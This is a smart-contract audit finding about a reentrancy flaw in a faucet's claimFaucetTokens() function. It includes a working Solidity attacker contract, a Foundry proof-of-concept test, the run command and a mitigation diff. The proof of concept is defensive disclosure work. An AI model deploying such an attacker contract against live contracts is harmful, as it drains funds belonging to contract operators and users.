[H-2] External ETH call before state updates allows reentrancy causing unlimited claims & ETH drain
Description
The claimFaucetTokens() function performs an external ETH transfer to the claimer before updating critical state variables. Because the external call forwards gas, a malicious claimer contract can re-enter claimFaucetTokens() during its fallback/receive and execute additional claims while the original call’s bookkeeping is still pending. This bypasses cooldowns and daily caps and allows draining ETH and tokens in a single transaction.
function claimFaucetTokens() public {
...
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
...
}
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
...
}
}
Risk
Likelihood:
Impact:
-
A malicious contract can reenter during the .call{value:...} and claim multiple times before state updates.
-
Faucet’s ETH can be drained in a single transaction.
-
Cooldown (CLAIM_COOLDOWN) and dailyClaimCount become meaningless.
-
Events and tracking variables desynchronize from actual on-chain balances.
Proof of Concept
1.Attacker contract
Create test/attacker/ReentrancyAttacker.sol (or similar):
pragma solidity ^0.8.30;
import "src/RaiseBoxFaucet.sol";
contract ReentrancyAttacker {
RaiseBoxFaucet public faucet;
uint256 public reentryRemaining;
address public tester;
constructor(address payable _faucet) {
faucet = RaiseBoxFaucet(_faucet);
tester = msg.sender;
}
function attack(uint256 times) external {
require(msg.sender == tester, "only tester");
reentryRemaining = times;
faucet.claimFaucetTokens();
}
receive() external payable {
if (reentryRemaining > 1 && address(faucet).balance >= faucet.sepEthAmountToDrip()) {
reentryRemaining--;
faucet.claimFaucetTokens();
}
}
function withdraw() external {
require(msg.sender == tester, "only tester");
payable(tester).transfer(address(this).balance);
}
}
2.Foundry test (PoC)
Add this test to the existing test contract or create a new test file.
import {ReentrancyAttacker} from "test/attacker/ReentrancyAttacker.sol";
function test_reentrancyExploit() public {
vm.deal(address(raiseBoxFaucet), 1 ether);
uint256 faucetEthBefore = address(raiseBoxFaucet).balance;
emit log_named_uint("Faucet ETH before", faucetEthBefore);
ReentrancyAttacker attacker = new ReentrancyAttacker(payable(address(raiseBoxFaucet)));
attacker.attack(5);
uint256 faucetEthAfter = address(raiseBoxFaucet).balance;
uint256 attackerEth = address(attacker).balance;
emit log_named_uint("Faucet ETH after", faucetEthAfter);
emit log_named_uint("Attacker ETH", attackerEth);
assertLt(faucetEthAfter, faucetEthBefore, "Faucet ETH should be reduced");
assertGt(attackerEth, 0, "Attacker should have received ETH");
}
3.Run the test
forge test --match-test test_reentrancyExploit -vvv
Recommended Mitigation
-
Update state variables before external calls and add reentrancy protection.
-
Move all state updates (lastClaimTime, dailyClaimCount, etc.) before the .call() and mark the function as nonReentrant to prevent reentrancy attacks and ensure daily limits cannot be bypassed.
+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
// ...
- (bool sent, ) = faucetClaimer.call{value: sepEthAmountToDrip}("");
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
+ // update state before external call
+ lastClaimTime[msg.sender] = block.timestamp;
+ dailyClaimCount++;
+
+ (bool sent, ) = payable(msg.sender).call{value: sepEthAmountToDrip}("");
require(sent, "ETH transfer failed");